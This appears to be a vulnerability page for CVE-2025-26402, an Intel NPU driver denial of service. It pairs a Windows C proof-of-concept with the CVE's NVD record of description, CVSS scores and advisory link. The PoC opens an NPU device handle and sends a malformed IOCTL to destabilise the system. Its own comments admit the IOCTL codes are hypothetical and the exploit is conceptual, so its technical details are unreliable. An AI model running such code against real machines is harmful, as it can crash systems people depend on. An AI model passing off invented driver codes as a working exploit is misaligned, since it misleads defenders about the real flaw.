CVE-2025-26402

// CVE-2025-26402 PoC - Intel NPU Driver DoS // This PoC demonstrates the protection mechanism failure in Intel NPU Drivers // Note: This is a conceptual PoC based on the vulnerability description #include <windows.h> #include <stdio.h> // Intel NPU IOCTL codes (hypothetical) #define IOCTL_NPU_SUBMIT_TASK 0x9B401000 #define IOCTL_NPU_SET_STATE 0x9B401004 int main() { HANDLE hNPU; DWORD bytesReturned = 0; BYTE inputBuffer[256] = {0}; BYTE outputBuffer[256] = {0}; printf("CVE-2025-26402 PoC - Intel NPU Driver DoS\n"); printf("Target: Intel NPU Drivers Ring 3 Protection Bypass\n\n"); // Open Intel NPU driver device hNPU = CreateFile( "\\\\.\\IntelNPU", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hNPU == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NPU driver (device may not exist)\n"); printf("[i] This vulnerability affects Intel NPU Driver versions prior to fix\n"); return 1; } printf("[+] NPU driver handle obtained\n"); // Trigger the vulnerability by sending malformed IOCTL request // The driver fails to properly validate Ring 3 access permissions BOOL result = DeviceIoControl( hNPU, IOCTL_NPU_SET_STATE, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request sent - verify system stability\n"); } CloseHandle(hNPU); printf("[+] Test completed\n"); return 0; }

{"cve": {"id": "CVE-2025-26402", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:44.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Protection mechanism failure for some Intel(R) NPU Drivers within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01304.html", "source": "[email protected]"}]}}